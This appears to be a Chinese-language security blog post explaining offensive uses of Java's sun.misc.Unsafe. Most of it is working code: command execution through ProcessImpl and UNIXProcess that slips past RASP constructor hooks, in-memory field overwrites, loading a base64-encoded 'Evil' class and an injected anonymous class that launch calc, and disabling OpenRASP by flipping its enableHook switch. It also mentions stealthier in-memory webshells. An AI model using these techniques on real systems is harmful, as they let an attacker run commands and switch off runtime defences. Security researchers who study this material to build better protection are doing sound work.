Unsafe

sun.misc.Unsafe

sun.misc.Unsafe提供了一些底层操作，如内存、CAS、类、对象

Unsafe是Java内部API，不允许外部调用

/*
A collection of methods for performing low-level, unsafe operations. Although the class and all methods are public, use of this class is limited because only trusted code can obtain instances of it.
*/
public final class Unsafe {
    private Unsafe() {}

    private static final Unsafe theUnsafe = new Unsafe();
    
    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class<?> caller = Reflection.getCallerClass();
        if (!VM.isSystemDomainLoader(caller.getClassLoader()))
            throw new SecurityException("Unsafe");
        return theUnsafe;
    }
    
}

Unsafe采用了单例模式，其getUnsafe()方法会先判断调用者（Reflection.getCallerClass();）的类加载器classLoader是否为Bootstrap Classloader

可以使用反射来获取Unsafe对象

Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);

allocateInstance

若RASP限制了某些类的构造方法（比如TrAXFilter（加载字节码）、ProcessImpl（Windows命令执行）、UnixProcess（Linux命令执行））

可以用Unsafe的allocateInstance方法绕过这个限制

Google的GSON库在JSON反序列化的时候就使用这个方式来创建类实例

绕过命令执行限制

Windows版本：

Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "whoami", null, null, stdHandles, false);

JavaIOFileDescriptorAccess fdAccess
    = sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
InputStream inputStream = new BufferedInputStream(
    new FileInputStream(stdout_fd));

BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}

Linux版本：

String cmd = "whoami";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

注意这个方法并不会执行任何构造方法

有时候使用反射去创建实例时，会遇到各种复杂的类依赖关系，此时也可以考虑用这个去实例化对象

内存层面修改值

package org.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class UnsafeTest {
    private int offset = 1;
    private String cmd = "whoami";

    static public String SECRET = "666";

    public UnsafeTest() {
    }

    public int getOffset() {
        return offset;
    }

    public String getCmd() {
        try {
            BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            StringBuilder builder = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                builder.append(line);
                builder.append(System.getProperty("line.separator"));
            }
            return builder.toString();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

在JVM中，对实例的Field进行了有规律的存储，通过一个偏移量可以从内存中找到相应的Field值

Unsafe提供两个方法来获取Field的偏移量

staticFieldOffset(Field var1)和objectFieldOffset(Field var1)

获取偏移量后可以调用putObject、putInt等方法来修改对象的成员值

Class clazz = Class.forName("sun.misc.Unsafe");
Field getUnsafe = clazz.getDeclaredField("theUnsafe");
getUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) getUnsafe.get(null);

UnsafeTest unsafeTest = new UnsafeTest();
System.out.println(unsafeTest.getCmd());

Class test = Class.forName("org.demo.UnsafeTest");

Field cmd = test.getDeclaredField("cmd");
unsafe.putObject(unsafeTest, unsafe.objectFieldOffset(cmd), "calc");
System.out.println(unsafeTest.getCmd());

Field secret = test.getDeclaredField("SECRET");
unsafe.putObject(unsafeTest.getClass(), unsafe.staticFieldOffset(secret), "hacked");
System.out.println(unsafeTest.SECRET);

当Field的set方法被限制时，可以考虑这种方法绕过

但对final修饰的字段貌似改不了

defineClass

Unsafe提供了一个defineClass方法，传入类名、类字节码可以在JVM中注册一个类

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Base64;

public class test {
    public static void main(String[] args) throws Exception {
        // byte[] code = ClassPool.getDefault().getCtClass("Evil").toBytecode();
        // System.out.println(Base64.getEncoder().encodeToString(code));
        String CLASS_BYTE_Base64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMRXZpbDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=";

        Class clazz = Class.forName("sun.misc.Unsafe");
        Field getUnsafe = clazz.getDeclaredField("theUnsafe");
        getUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) getUnsafe.get(null);

        // 获取系统的类加载器
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        // 创建默认的保护域
        ProtectionDomain domain = new ProtectionDomain(
                new CodeSource(null, (Certificate[]) null), null, classLoader, null
        );
        byte[] b = Base64.getDecoder().decode(CLASS_BYTE_Base64);
        unsafe.defineClass("Evil", b, 0, b.length, classLoader, domain);
        Class.forName("Evil");
    }
}

注意Unsafe#defineClass只能在JVM中define一个类，不会加载这个类，所以最后通过Class.forName来触发其静态代码块

defineAnonymousClass

defineAnonymousClass可以创建一个内部类

这个类的名字设置时甚至可以是已存在的类名，由于java动态编译特性会在内存中生成新的类名

无法通过Class.forName获取这个类的（do not make it known to the class loader）

这个类的classloader为null

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.File;
import java.lang.reflect.Field;

public class test {
    public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("sun.misc.Unsafe");
        Field getUnsafe = clazz.getDeclaredField("theUnsafe");
        getUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) getUnsafe.get(null);

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("java.lang.String");
        CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);
        toString.setName("toString");
        ctClass.addMethod(toString);
        byte[] bytes = ctClass.toBytecode();

        Class anonymous = unsafe.defineAnonymousClass(File.class, bytes, null);
        System.out.println(anonymous.getName());
        anonymous.newInstance().toString();
    }
}

打印出类名为java.lang.String/1645995473，并弹出计算器

Java 11 把Unsafe的defineClass方法移除了，但defineAnonymousClass还在

Close RASP

一旦攻击者拿到了一个代码执行权限，那么他便可以通过反射的方式取得RASP运行在内存中的开关变量（多为boolean或者AtomicBoolean类型），并把它由true修改为false，就可以使RASP得的防护完全失效。开关变量只是其中一个思路，当然有更多的方法去破坏RASP的运行模式，如置空检测逻辑代码（如果RASP使用了js、lua等别的引擎），置空黑名单、添加白名单

Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));

Summary

  • 内存层面修改对象的字段

    • 绕反射限制

    • 关闭RASP开关

  • 自定义类

    • 更加隐蔽的内存马

    • defineAnonymousClass生成的类无法通过反射获取其内部信息，且类加载器为Bootstrap ClassLoader，会被认为jdk自带的类

Reference

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